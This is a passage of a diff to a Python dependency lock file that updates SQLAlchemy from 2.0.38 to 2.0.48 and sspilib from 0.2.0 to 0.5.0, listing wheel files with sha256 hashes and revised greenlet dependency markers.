"SQLAlchemy-2.0.38-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2a0ef3f98175d77180ffdc623d38e9f1736e8d86b6ba70bff182a7e68bed7727"}, - {file = "SQLAlchemy-2.0.38-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8b0ac78898c50e2574e9f938d2e5caa8fe187d7a5b69b65faa1ea4648925b096"}, - {file = "SQLAlchemy-2.0.38-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:9eb4fa13c8c7a2404b6a8e3772c17a55b1ba18bc711e25e4d6c0c9f5f541b02a"}, - {file = "SQLAlchemy-2.0.38-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:5dba1cdb8f319084f5b00d41207b2079822aa8d6a4667c0f369fce85e34b0c86"}, - {file = "SQLAlchemy-2.0.38-cp313-cp313-win32.whl", hash = "sha256:eae27ad7580529a427cfdd52c87abb2dfb15ce2b7a3e0fc29fbb63e2ed6f8120"}, - {file = "SQLAlchemy-2.0.38-cp313-cp313-win_amd64.whl", hash = "sha256:b335a7c958bc945e10c522c069cd6e5804f4ff20f9a744dd38e748eb602cbbda"}, - {file = "SQLAlchemy-2.0.38-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:40310db77a55512a18827488e592965d3dec6a3f1e3d8af3f8243134029daca3"}, - {file = "SQLAlchemy-2.0.38-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d3043375dd5bbcb2282894cbb12e6c559654c67b5fffb462fda815a55bf93f7"}, - {file = "SQLAlchemy-2.0.38-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:70065dfabf023b155a9c2a18f573e47e6ca709b9e8619b2e04c54d5bcf193178"}, - {file = "SQLAlchemy-2.0.38-cp37-cp37m-musllinux_1_2_aarch64.whl", hash = "sha256:c058b84c3b24812c859300f3b5abf300daa34df20d4d4f42e9652a4d1c48c8a4"}, - {file = "SQLAlchemy-2.0.38-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:0398361acebb42975deb747a824b5188817d32b5c8f8aba767d51ad0cc7bb08d"}, - {file = "SQLAlchemy-2.0.38-cp37-cp37m-win32.whl", hash = "sha256:a2bc4e49e8329f3283d99840c136ff2cd1a29e49b5624a46a290f04dff48e079"}, - {file = "SQLAlchemy-2.0.38-cp37-cp37m-win_amd64.whl", hash = "sha256:9cd136184dd5f58892f24001cdce986f5d7e96059d004118d5410671579834a4"}, - {file = "SQLAlchemy-2.0.38-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:665255e7aae5f38237b3a6eae49d2358d83a59f39ac21036413fab5d1e810578"}, - {file = "SQLAlchemy-2.0.38-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:92f99f2623ff16bd4aaf786ccde759c1f676d39c7bf2855eb0b540e1ac4530c8"}, - {file = "SQLAlchemy-2.0.38-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aa498d1392216fae47eaf10c593e06c34476ced9549657fca713d0d1ba5f7248"}, - {file = "SQLAlchemy-2.0.38-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a9afbc3909d0274d6ac8ec891e30210563b2c8bdd52ebbda14146354e7a69373"}, - {file = "SQLAlchemy-2.0.38-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:57dd41ba32430cbcc812041d4de8d2ca4651aeefad2626921ae2a23deb8cd6ff"}, - {file = "SQLAlchemy-2.0.38-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:3e35d5565b35b66905b79ca4ae85840a8d40d31e0b3e2990f2e7692071b179ca"}, - {file = "SQLAlchemy-2.0.38-cp38-cp38-win32.whl", hash = "sha256:f0d3de936b192980209d7b5149e3c98977c3810d401482d05fb6d668d53c1c63"}, - {file = "SQLAlchemy-2.0.38-cp38-cp38-win_amd64.whl", hash = "sha256:3868acb639c136d98107c9096303d2d8e5da2880f7706f9f8c06a7f961961149"}, - {file = "SQLAlchemy-2.0.38-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:07258341402a718f166618470cde0c34e4cec85a39767dce4e24f61ba5e667ea"}, - {file = "SQLAlchemy-2.0.38-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:0a826f21848632add58bef4f755a33d45105d25656a0c849f2dc2df1c71f6f50"}, - {file = "SQLAlchemy-2.0.38-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:386b7d136919bb66ced64d2228b92d66140de5fefb3c7df6bd79069a269a7b06"}, - {file = "SQLAlchemy-2.0.38-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2f2951dc4b4f990a4b394d6b382accb33141d4d3bd3ef4e2b27287135d6bdd68"}, - {file = "SQLAlchemy-2.0.38-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:8bf312ed8ac096d674c6aa9131b249093c1b37c35db6a967daa4c84746bc1bc9"}, - {file = "SQLAlchemy-2.0.38-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:6db316d6e340f862ec059dc12e395d71f39746a20503b124edc255973977b728"}, - {file = "SQLAlchemy-2.0.38-cp39-cp39-win32.whl", hash = "sha256:c09a6ea87658695e527104cf857c70f79f14e9484605e205217aae0ec27b45fc"}, - {file = "SQLAlchemy-2.0.38-cp39-cp39-win_amd64.whl", hash = "sha256:12f5c9ed53334c3ce719155424dc5407aaa4f6cadeb09c5b627e06abb93933a1"}, - {file = "SQLAlchemy-2.0.38-py3-none-any.whl", hash = "sha256:63178c675d4c80def39f1febd625a6333f44c0ba269edd8a468b156394b27753"}, - {file = "sqlalchemy-2.0.38.tar.gz", hash = "sha256:e5a4d82bdb4bf1ac1285a68eab02d253ab73355d9f0fe725a97e1e0fa689decb"}, + {file = "sqlalchemy-2.0.48-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:7001dc9d5f6bb4deb756d5928eaefe1930f6f4179da3924cbd95ee0e9f4dce89"}, + {file = "sqlalchemy-2.0.48-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1a89ce07ad2d4b8cfc30bd5889ec40613e028ed80ef47da7d9dd2ce969ad30e0"}, + {file = "sqlalchemy-2.0.48-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:10853a53a4a00417a00913d270dddda75815fcb80675874285f41051c094d7dd"}, + {file = "sqlalchemy-2.0.48-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:fac0fa4e4f55f118fd87177dacb1c6522fe39c28d498d259014020fec9164c29"}, + {file = "sqlalchemy-2.0.48-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:3713e21ea67bca727eecd4a24bf68bcd414c403faae4989442be60994301ded0"}, + {file = "sqlalchemy-2.0.48-cp310-cp310-win32.whl", hash = "sha256:d404dc897ce10e565d647795861762aa2d06ca3f4a728c5e9a835096c7059018"}, + {file = "sqlalchemy-2.0.48-cp310-cp310-win_amd64.whl", hash = "sha256:841a94c66577661c1f088ac958cd767d7c9bf507698f45afffe7a4017049de76"}, + {file = "sqlalchemy-2.0.48-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1b4c575df7368b3b13e0cebf01d4679f9a28ed2ae6c1cd0b1d5beffb6b2007dc"}, + {file = "sqlalchemy-2.0.48-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e83e3f959aaa1c9df95c22c528096d94848a1bc819f5d0ebf7ee3df0ca63db6c"}, + {file = "sqlalchemy-2.0.48-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6f7b7243850edd0b8b97043f04748f31de50cf426e939def5c16bedb540698f7"}, + {file = "sqlalchemy-2.0.48-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:82745b03b4043e04600a6b665cb98697c4339b24e34d74b0a2ac0a2488b6f94d"}, + {file = "sqlalchemy-2.0.48-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:e5e088bf43f6ee6fec7dbf1ef7ff7774a616c236b5c0cb3e00662dd71a56b571"}, + {file = "sqlalchemy-2.0.48-cp311-cp311-win32.whl", hash = "sha256:9c7d0a77e36b5f4b01ca398482230ab792061d243d715299b44a0b55c89fe617"}, + {file = "sqlalchemy-2.0.48-cp311-cp311-win_amd64.whl", hash = "sha256:583849c743e0e3c9bb7446f5b5addeacedc168d657a69b418063dfdb2d90081c"}, + {file = "sqlalchemy-2.0.48-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:348174f228b99f33ca1f773e85510e08927620caa59ffe7803b37170df30332b"}, + {file = "sqlalchemy-2.0.48-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:53667b5f668991e279d21f94ccfa6e45b4e3f4500e7591ae59a8012d0f010dcb"}, + {file = "sqlalchemy-2.0.48-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:34634e196f620c7a61d18d5cf7dc841ca6daa7961aed75d532b7e58b309ac894"}, + {file = "sqlalchemy-2.0.48-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:546572a1793cc35857a2ffa1fe0e58571af1779bcc1ffa7c9fb0839885ed69a9"}, + {file = "sqlalchemy-2.0.48-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:07edba08061bc277bfdc772dd2a1a43978f5a45994dd3ede26391b405c15221e"}, + {file = "sqlalchemy-2.0.48-cp312-cp312-win32.whl", hash = "sha256:908a3fa6908716f803b86896a09a2c4dde5f5ce2bb07aacc71ffebb57986ce99"}, + {file = "sqlalchemy-2.0.48-cp312-cp312-win_amd64.whl", hash = "sha256:68549c403f79a8e25984376480959975212a670405e3913830614432b5daa07a"}, + {file = "sqlalchemy-2.0.48-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:e3070c03701037aa418b55d36532ecb8f8446ed0135acb71c678dbdf12f5b6e4"}, + {file = "sqlalchemy-2.0.48-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2645b7d8a738763b664a12a1542c89c940daa55196e8d73e55b169cc5c99f65f"}, + {file = "sqlalchemy-2.0.48-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b19151e76620a412c2ac1c6f977ab1b9fa7ad43140178345136456d5265b32ed"}, + {file = "sqlalchemy-2.0.48-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:5b193a7e29fd9fa56e502920dca47dffe60f97c863494946bd698c6058a55658"}, + {file = "sqlalchemy-2.0.48-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:36ac4ddc3d33e852da9cb00ffb08cea62ca05c39711dc67062ca2bb1fae35fd8"}, + {file = "sqlalchemy-2.0.48-cp313-cp313-win32.whl", hash = "sha256:389b984139278f97757ea9b08993e7b9d1142912e046ab7d82b3fbaeb0209131"}, + {file = "sqlalchemy-2.0.48-cp313-cp313-win_amd64.whl", hash = "sha256:d612c976cbc2d17edfcc4c006874b764e85e990c29ce9bd411f926bbfb02b9a2"}, + {file = "sqlalchemy-2.0.48-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:69f5bc24904d3bc3640961cddd2523e361257ef68585d6e364166dfbe8c78fae"}, + {file = "sqlalchemy-2.0.48-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fd08b90d211c086181caed76931ecfa2bdfc83eea3cfccdb0f82abc6c4b876cb"}, + {file = "sqlalchemy-2.0.48-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:1ccd42229aaac2df431562117ac7e667d702e8e44afdb6cf0e50fa3f18160f0b"}, + {file = "sqlalchemy-2.0.48-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:f0dcbc588cd5b725162c076eb9119342f6579c7f7f55057bb7e3c6ff27e13121"}, + {file = "sqlalchemy-2.0.48-cp313-cp313t-win32.whl", hash = "sha256:9764014ef5e58aab76220c5664abb5d47d5bc858d9debf821e55cfdd0f128485"}, + {file = "sqlalchemy-2.0.48-cp313-cp313t-win_amd64.whl", hash = "sha256:e2f35b4cccd9ed286ad62e0a3c3ac21e06c02abc60e20aa51a3e305a30f5fa79"}, + {file = "sqlalchemy-2.0.48-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:e2d0d88686e3d35a76f3e15a34e8c12d73fc94c1dea1cd55782e695cc14086dd"}, + {file = "sqlalchemy-2.0.48-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:49b7bddc1eebf011ea5ab722fdbe67a401caa34a350d278cc7733c0e88fecb1f"}, + {file = "sqlalchemy-2.0.48-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:426c5ca86415d9b8945c7073597e10de9644802e2ff502b8e1f11a7a2642856b"}, + {file = "sqlalchemy-2.0.48-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:288937433bd44e3990e7da2402fabc44a3c6c25d3704da066b85b89a85474ae0"}, + {file = "sqlalchemy-2.0.48-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:8183dc57ae7d9edc1346e007e840a9f3d6aa7b7f165203a99e16f447150140d2"}, + {file = "sqlalchemy-2.0.48-cp314-cp314-win32.whl", hash = "sha256:1182437cb2d97988cfea04cf6cdc0b0bb9c74f4d56ec3d08b81e23d621a28cc6"}, + {file = "sqlalchemy-2.0.48-cp314-cp314-win_amd64.whl", hash = "sha256:144921da96c08feb9e2b052c5c5c1d0d151a292c6135623c6b2c041f2a45f9e0"}, + {file = "sqlalchemy-2.0.48-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5aee45fd2c6c0f2b9cdddf48c48535e7471e42d6fb81adfde801da0bd5b93241"}, + {file = "sqlalchemy-2.0.48-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7cddca31edf8b0653090cbb54562ca027c421c58ddde2c0685f49ff56a1690e0"}, + {file = "sqlalchemy-2.0.48-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7a936f1bb23d370b7c8cc079d5fce4c7d18da87a33c6744e51a93b0f9e97e9b3"}, + {file = "sqlalchemy-2.0.48-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:e004aa9248e8cb0a5f9b96d003ca7c1c0a5da8decd1066e7b53f59eb8ce7c62b"}, + {file = "sqlalchemy-2.0.48-cp314-cp314t-win32.whl", hash = "sha256:b8438ec5594980d405251451c5b7ea9aa58dda38eb7ac35fb7e4c696712ee24f"}, + {file = "sqlalchemy-2.0.48-cp314-cp314t-win_amd64.whl", hash = "sha256:d854b3970067297f3a7fbd7a4683587134aa9b3877ee15aa29eea478dc68f933"}, + {file = "sqlalchemy-2.0.48-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:f8649a14caa5f8a243628b1d61cf530ad9ae4578814ba726816adb1121fc493e"}, + {file = "sqlalchemy-2.0.48-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6bb85c546591569558571aa1b06aba711b26ae62f111e15e56136d69920e1616"}, + {file = "sqlalchemy-2.0.48-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a6b764fb312bd35e47797ad2e63f0d323792837a6ac785a4ca967019357d2bc7"}, + {file = "sqlalchemy-2.0.48-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:7c998f2ace8bf76b453b75dbcca500d4f4b9dd3908c13e89b86289b37784848b"}, + {file = "sqlalchemy-2.0.48-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:d64177f443594c8697369c10e4bbcac70ef558e0f7921a1de7e4a3d1734bcf67"}, + {file = "sqlalchemy-2.0.48-cp38-cp38-win32.whl", hash = "sha256:01f6bbd4308b23240cf7d3ef117557c8fd097ec9549d5d8a52977544e35b40ad"}, + {file = "sqlalchemy-2.0.48-cp38-cp38-win_amd64.whl", hash = "sha256:858e433f12b0e5b3ed2f8da917433b634f4937d0e8793e5cb33c54a1a01df565"}, + {file = "sqlalchemy-2.0.48-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:4599a95f9430ae0de82b52ff0d27304fe898c17cb5f4099f7438a51b9998ac77"}, + {file = "sqlalchemy-2.0.48-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f27f9da0a7d22b9f981108fd4b62f8b5743423388915a563e651c20d06c1f457"}, + {file = "sqlalchemy-2.0.48-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d8fcccbbc0c13c13702c471da398b8cd72ba740dca5859f148ae8e0e8e0d3e7e"}, + {file = "sqlalchemy-2.0.48-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:a5b429eb84339f9f05e06083f119ad814e6d85e27ecbdf9c551dfdbb128eaf8a"}, + {file = "sqlalchemy-2.0.48-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:bcb8ebbf2e2c36cfe01a94f2438012c6a9d494cf80f129d9753bcdf33bfc35a6"}, + {file = "sqlalchemy-2.0.48-cp39-cp39-win32.whl", hash = "sha256:e214d546c8ecb5fc22d6e6011746082abf13a9cf46eefb45769c7b31407c97b5"}, + {file = "sqlalchemy-2.0.48-cp39-cp39-win_amd64.whl", hash = "sha256:b8fc3454b4f3bd0a368001d0e968852dad45a873f8b4babd41bc302ec851a099"}, + {file = "sqlalchemy-2.0.48-py3-none-any.whl", hash = "sha256:a66fe406437dd65cacd96a72689a3aaaecaebbcd62d81c5ac1c0fdbeac835096"}, + {file = "sqlalchemy-2.0.48.tar.gz", hash = "sha256:5ca74f37f3369b45e1f6b7b06afb182af1fd5dde009e4ffd831830d98cbe5fe7"}, ] [package.dependencies] -greenlet = {version = "!=0.4.17", markers = "python_version < \"3.14\" and (platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\")"} +greenlet = {version = ">=1", markers = "platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\""} typing-extensions = ">=4.6.0" [package.extras] -aiomysql = ["aiomysql (>=0.2.0)", "greenlet (!=0.4.17)"] -aioodbc = ["aioodbc", "greenlet (!=0.4.17)"] -aiosqlite = ["aiosqlite", "greenlet (!=0.4.17)", "typing_extensions (!=3.10.0.1)"] -asyncio = ["greenlet (!=0.4.17)"] -asyncmy = ["asyncmy (>=0.2.3,!=0.2.4,!=0.2.6)", "greenlet (!=0.4.17)"] +aiomysql = ["aiomysql (>=0.2.0)", "greenlet (>=1)"] +aioodbc = ["aioodbc", "greenlet (>=1)"] +aiosqlite = ["aiosqlite", "greenlet (>=1)", "typing_extensions (!=3.10.0.1)"] +asyncio = ["greenlet (>=1)"] +asyncmy = ["asyncmy (>=0.2.3,!=0.2.4,!=0.2.6)", "greenlet (>=1)"] mariadb-connector = ["mariadb (>=1.0.1,!=1.1.2,!=1.1.5,!=1.1.10)"] mssql = ["pyodbc"] mssql-pymssql = ["pymssql"] @@ -2344,7 +2526,7 @@ mysql-connector = ["mysql-connector-python"] oracle = ["cx_oracle (>=8)"] oracle-oracledb = ["oracledb (>=1.0.1)"] postgresql = ["psycopg2 (>=2.7)"] -postgresql-asyncpg = ["asyncpg", "greenlet (!=0.4.17)"] +postgresql-asyncpg = ["asyncpg", "greenlet (>=1)"] postgresql-pg8000 = ["pg8000 (>=1.29.1)"] postgresql-psycopg = ["psycopg (>=3.0.7)"] postgresql-psycopg2binary = ["psycopg2-binary"] @@ -2355,61 +2537,54 @@ sqlcipher = ["sqlcipher3_binary"] [[package]] name = "sspilib" -version = "0.2.0" +version = "0.5.0" description = "SSPI API bindings for Python" optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" groups = ["main"] markers = "sys_platform == \"win32\"" files = [ - {file = "sspilib-0.2.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:34f566ba8b332c91594e21a71200de2d4ce55ca5a205541d4128ed23e3c98777"}, - {file = "sspilib-0.2.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:5b11e4f030de5c5de0f29bcf41a6e87c9fd90cb3b0f64e446a6e1d1aef4d08f5"}, - {file = "sspilib-0.2.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3e82f87d77a9da62ce1eac22f752511a99495840177714c772a9d27b75220f78"}, - {file = "sspilib-0.2.0-cp310-cp310-win32.whl", hash = "sha256:e436fa09bcf353a364a74b3ef6910d936fa8cd1493f136e517a9a7e11b319c57"}, - {file = "sspilib-0.2.0-cp310-cp310-win_amd64.whl", hash = "sha256:850a17c98d2b8579b183ce37a8df97d050bc5b31ab13f5a6d9e39c9692fe3754"}, - {file = "sspilib-0.2.0-cp310-cp310-win_arm64.whl", hash = "sha256:a4d788a53b8db6d1caafba36887d5ac2087e6b6be6f01eb48f8afea6b646dbb5"}, - {file = "sspilib-0.2.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:e0943204c8ba732966fdc5b69e33cf61d8dc6b24e6ed875f32055d9d7e2f76cd"}, - {file = "sspilib-0.2.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d1cdfc5ec2f151f26e21aa50ccc7f9848c969d6f78264ae4f38347609f6722df"}, - {file = "sspilib-0.2.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1a6c33495a3de1552120c4a99219ebdd70e3849717867b8cae3a6a2f98fef405"}, - {file = "sspilib-0.2.0-cp311-cp311-win32.whl", hash = "sha256:400d5922c2c2261009921157c4b43d868e84640ad86e4dc84c95b07e5cc38ac6"}, - {file = "sspilib-0.2.0-cp311-cp311-win_amd64.whl", hash = "sha256:d3e7d19c16ba9189ef8687b591503db06cfb9c5eb32ab1ca3bb9ebc1a8a5f35c"}, - {file = "sspilib-0.2.0-cp311-cp311-win_arm64.whl", hash = "sha256:f65c52ead8ce95eb78a79306fe4269ee572ef3e4dcc108d250d5933da2455ecc"}, - {file = "sspilib-0.2.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:abac93a90335590b49ef1fc162b538576249c7f58aec0c7bcfb4b860513979b4"}, - {file = "sspilib-0.2.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1208720d8e431af674c5645cec365224d035f241444d5faa15dc74023ece1277"}, - {file = "sspilib-0.2.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e48dceb871ecf9cf83abdd0e6db5326e885e574f1897f6ae87d736ff558f4bfa"}, - {file = "sspilib-0.2.0-cp312-cp312-win32.whl", hash = "sha256:bdf9a4f424add02951e1f01f47441d2e69a9910471e99c2c88660bd8e184d7f8"}, - {file = "sspilib-0.2.0-cp312-cp312-win_amd64.whl", hash = "sha256:40a97ca83e503a175d1dc9461836994e47e8b9bcf56cab81a2c22e27f1993079"}, - {file = "sspilib-0.2.0-cp312-cp312-win_arm64.whl", hash = "sha256:8ffc09819a37005c66a580ff44f544775f9745d5ed1ceeb37df4e5ff128adf36"}, - {file = "sspilib-0.2.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:40ff410b64198cf1d704718754fc5fe7b9609e0c49bf85c970f64c6fc2786db4"}, - {file = "sspilib-0.2.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:02d8e0b6033de8ccf509ba44fdcda7e196cdedc0f8cf19eb22c5e4117187c82f"}, - {file = "sspilib-0.2.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ad7943fe14f8f6d72623ab6401991aa39a2b597bdb25e531741b37932402480f"}, - {file = "sspilib-0.2.0-cp313-cp313-win32.whl", hash = "sha256:b9044d6020aa88d512e7557694fe734a243801f9a6874e1c214451eebe493d92"}, - {file = "sspilib-0.2.0-cp313-cp313-win_amd64.whl", hash = "sha256:c39a698491f43618efca8776a40fb7201d08c415c507f899f0df5ada15abefaa"}, - {file = "sspilib-0.2.0-cp313-cp313-win_arm64.whl", hash = "sha256:863b7b214517b09367511c0ef931370f0386ed2c7c5613092bf9b106114c4a0e"}, - {file = "sspilib-0.2.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:a0ede7afba32f2b681196c0b8520617d99dc5d0691d04884d59b476e31b41286"}, - {file = "sspilib-0.2.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:bd95df50efb6586054963950c8fa91ef994fb73c5c022c6f85b16f702c5314da"}, - {file = "sspilib-0.2.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9460258d3dc3f71cc4dcfd6ac078e2fe26f272faea907384b7dd52cb91d9ddcc"}, - {file = "sspilib-0.2.0-cp38-cp38-win32.whl", hash = "sha256:6fa9d97671348b97567020d82fe36c4211a2cacf02abbccbd8995afbf3a40bfc"}, - {file = "sspilib-0.2.0-cp38-cp38-win_amd64.whl", hash = "sha256:32422ad7406adece12d7c385019b34e3e35ff88a7c8f3d7c062da421772e7bfa"}, - {file = "sspilib-0.2.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:6944a0d7fe64f88c9bde3498591acdb25b178902287919b962c398ed145f71b9"}, - {file = "sspilib-0.2.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:0216344629b0f39c2193adb74d7e1bed67f1bbd619e426040674b7629407eba9"}, - {file = "sspilib-0.2.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1c5f84b9f614447fc451620c5c44001ed48fead3084c7c9f2b9cefe1f4c5c3d0"}, - {file = "sspilib-0.2.0-cp39-cp39-win32.whl", hash = "sha256:b290eb90bf8b8136b0a61b189629442052e1a664bd78db82928ec1e81b681fb5"}, - {file = "sspilib-0.2.0-cp39-cp39-win_amd64.whl", hash = "sha256:404c16e698476e500a7fe67be5457fadd52d8bdc9aeb6c554782c8f366cc4fc9"}, - {file = "sspilib-0.2.0-cp39-cp39-win_arm64.whl", hash = "sha256:8697e5dd9229cd3367bca49fba74e02f867759d1d416a717e26c3088041b9814"}, - {file = "sspilib-0.2.0.tar.gz", hash = "sha256:4d6cd4290ca82f40705efeb5e9107f7abcd5e647cb201a3d04371305938615b8"}, + {file = "sspilib-0.5.0-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:9c64965de12f3eea242fd57045e546721929f62da65a3e5d629bee39314394d1"}, + {file = "sspilib-0.5.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:bab2f828bfb8750091f17a71cc753402ecc24544331570edeaa04b97e0f97193"}, + {file = "sspilib-0.5.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:05f13740f16ffd14ef2d383fc2f9d376a414052263bc7595929019195dfc001a"}, + {file = "sspilib-0.5.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:07efa91478c3e6de328fe65226172b8e4cf08976be859d4dbf03655be6b6c4ab"}, + {file = "sspilib-0.5.0-cp310-cp310-win32.whl", hash = "sha256:8dab68e994d24a08f854d36ac96409b3b8cc03fdebc590925f76f9d733c3a902"}, + {file = "sspilib-0.5.0-cp310-cp310-win_amd64.whl", hash = "sha256:9e1947df07110ee1861009fc117bd089a7710403f3f5c488fb52a6e00b7c5b84"}, + {file = "sspilib-0.5.0-cp310-cp310-win_arm64.whl", hash = "sha256:28d0eb944f7ff70bc99fe729d06fa230aec1649c5bc216809e359cd0c77d4840"}, + {file = "sspilib-0.5.0-cp311-abi3-macosx_10_12_x86_64.whl", hash = "sha256:eaba0331997368ffbdedff5e95f4fec18b19c809637e8848a4c673130fb4dd9e"}, + {file = "sspilib-0.5.0-cp311-abi3-macosx_11_0_arm64.whl", hash = "sha256:3dbb80bfe0a17f272c68e9d86a0375d11f98157abe998272a540e635694c1540"}, + {file = "sspilib-0.5.0-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:4266eda17b81f50e71a3f75cdddf424d76046de68d8014d289a895ec008df4e4"}, + {file = "sspilib-0.5.0-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:57ea0ce644339bb71ee3eb226b22a121d011b0aea5e2f32d078d88f4a269359b"}, + {file = "sspilib-0.5.0-cp311-abi3-win32.whl", hash = "sha256:fcb57b41b3200ef2e6e8846e2a13799d20b35b796267f2f75cc65e3883e8eeb6"}, + {file = "sspilib-0.5.0-cp311-abi3-win_amd64.whl", hash = "sha256:ca2a21a4e90db563c2cec639c66b3a29ea53129a0c55ff1e4154a02937f6bd45"}, + {file = "sspilib-0.5.0-cp311-abi3-win_arm64.whl", hash = 